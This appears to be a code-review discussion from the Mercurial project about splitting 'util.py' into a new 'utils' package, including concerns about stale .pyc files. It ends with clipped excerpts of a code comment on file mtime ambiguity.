What else do you foresee moving into the util/ directory? Perhaps these?

Having both a util module and a utils package looks weird.
Have you considered moving util.py into util/__init__.py and then adding new modules under util package?

I have but I'm always very cautious when creating a new package with the name of an old module. .pyc/.pycache files may still be there both for Mercurial developers and for Mercurial users using their deb/rpm package.

I may be wrong, but if we could avoid weird bugs, I would prefer put in the utils package.

I could have also copy util.py as utils/__init__.py but then I would have to update basically all Mercurial Python source files.

mercurial/utils/dateutil.py
14–19

I'm thinking maybe:

  • All net related functions in netutil.py
  • All paths related functions in pathutil.py
  • All cache related functions in cacheutil.py

Well, this is Python... Most people are aware of this kind of issues, I
think. So the argument sounds a bit like FUD :)

On the other hand, if we keep going that route, we'll have to live with
util/utils "forever" just to have avoided this hypothetical
inconvenience, is this more acceptable?

I would love to be wrong on this, just remember that Mercurial users are not necessarily Python developers.

I don't know much about Python. Is it defined whether util.pyc or util/__init__.py will take precedence, and, if so, which is it?

I asked Alex Gaynor about this and it's not an immediate answer ("You get a basket of trouble. What python version?")

Could we make the package version be utils (note trailing ess) and migrate things to the package as we have time, making util be the legacy forwarding name and nothing more?

That's the current proposal

I'm fine with this but would like someone else to ack it.

Case (*2) above means that a file was changed twice or more at

Base idea to avoid such ambiguity is "advance mtime 1 sec, if

But advancing mtime only in case (*2) doesn't work as
expected, because naturally advanced S[n].mtime in case (*1)
might be equal to manually advanced S[n-1 or earlier].mtime.
Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
treated as ambiguous regardless of mtime, to avoid overlooking
by confliction between such mtime.
Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
